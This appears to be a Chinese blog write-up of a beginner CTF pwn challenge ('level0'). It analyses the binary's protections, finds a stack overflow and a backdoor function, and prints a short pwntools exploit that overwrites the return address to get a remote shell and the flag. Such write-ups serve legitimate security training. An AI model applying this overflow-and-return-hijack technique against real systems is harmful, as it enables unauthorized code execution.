pwn刷题num1---栈溢出

pwn刷题num1---栈溢出,第1张

攻防世界pwn新手区level0


111.200.241.244:49418是ip地址:端口,通过linux的nc命令可扫描ip地址并连接到ip地址对应靶机的端口程序上
linux的nc命令
附件是把靶机的程序直接给出到本地
下载题目附件后首先赋予程序执行权限
一般下载的程序没有可执行权限,无法进行分析,所以要先赋予可执行权限,命令是

chmod +x 文件名

linux文件属性
之后用checksec命令查保护(需先配置pwntools这里引用另一个博主的配置pwn环境的博客)


关于linux的保护可见这篇文章
linux漏洞保护机制
观察发现

64位程序,小端序
没有开启RELRO----漏洞:程序got表可写
没有开启canary保护-----漏洞:存在栈溢出
开启了NX保护-----注入的shellcode无法执行
没有开启PIE----程序内存地址未随机化

之后用file命令可查看程序编译链接情况

dynamically linked为动态链接
什么是动态链接

然后运行一下

或者

看不出什么信息,用ida看一下伪代码
ida一些用法
找到主函数

双击进入vulnerable_function()函数

发现read函数给buf处赋予0x200字节,而buf只有0x80字节,存在栈溢出
双击buf进入栈空间


buf距离返回地址图中(r标号)0x88字节
然后寻找一下程序中有没有后门函数(获得系统权限的函数)

发现callsystem函数,很可疑

发现正是后门函数,把返回地址覆盖为该函数的地址,调用该函数即可获得shell,查看函数地址为0x400596

编写exp

'''
栈溢出 + system地址获得shell
'''
from pwn import *
context(os = 'linux',endian = 'little',arch = 'amd64',log_level = 'debug')
sh = remote('111.200.241.244',49418)
call_system_addr = 0x400596
payload = flat(['a' * 0x88,call_system_addr])
sh.sendline(payload)
sh.interactive()

pwntools编写exp

获得flag:
cyberpeace{0446553eec724aa790f302cfe27db08e}

附上本文所用链接

linux的nc命令
pwntools这里引用另一个博主的配置pwn环境的博客
linux漏洞保护机制
ida一些用法
pwntools编写exp

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/yw/993096.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-05-21
下一篇 2022-05-21

发表评论

登录后才能评论

评论列表(0条)

保存